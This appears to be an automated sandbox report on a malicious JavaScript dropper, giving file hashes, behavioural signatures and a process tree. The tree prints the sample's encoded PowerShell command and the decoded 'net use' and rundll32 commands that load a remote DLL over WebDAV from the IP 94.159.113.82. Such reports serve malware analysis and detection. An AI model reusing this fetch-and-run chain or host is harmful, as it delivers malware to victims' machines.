Analysis

  • max time kernel
    130s
  • max time network
    207s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/10/2024, 03:01

General

  • Target

    1191525717354510418.js

  • Size

    1.5MB

  • MD5

    da76d159f9fcd5e13d74edb6acef896a

  • SHA1

    23ebcf8b2fe32fbf2b227335b69187736875fa62

  • SHA256

    35b02aca60aaa109a7dc998ed58852d5d123598acf4c06b05dbae193364f5479

  • SHA512

    4c8e236e8feb56d010d86071b11f7cc1959241fdaa27aebb878c14a0ebfac11a1951998206f88363388e7970a52068a8a0f90ae54d989fa1fe5063f25f8eba9f

  • SSDEEP

    6144:vCRNXjvZYJItCwYj72bKYpBr8yXzFFFFFFJETj72bKYpBr8yXhfLSQ98Xd:K3LZYCclNiM

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1191525717354510418.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADkAMwAzADUAMQA1ADEANAAzADEANAA0ADEAMQAuAGQAbABsACwARQBuAHQAcgB5AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4540
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\94.159.113.82@8888\davwwwroot\
        3⤵
          PID:2312
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\94.159.113.82@8888\davwwwroot\193351514314411.dll,Entry
          3⤵
            PID:3652

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sif1f1y1.s2j.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/4540-0-0x00007FFBFD203000-0x00007FFBFD205000-memory.dmp

              Filesize

              8KB

            • memory/4540-1-0x00000286CBE70000-0x00000286CBE92000-memory.dmp

              Filesize

              136KB

            • memory/4540-14-0x00007FFBFD200000-0x00007FFBFDCC1000-memory.dmp

              Filesize

              10.8MB

            • memory/4540-15-0x00007FFBFD200000-0x00007FFBFDCC1000-memory.dmp

              Filesize

              10.8MB

            • memory/4540-11-0x00007FFBFD200000-0x00007FFBFDCC1000-memory.dmp

              Filesize

              10.8MB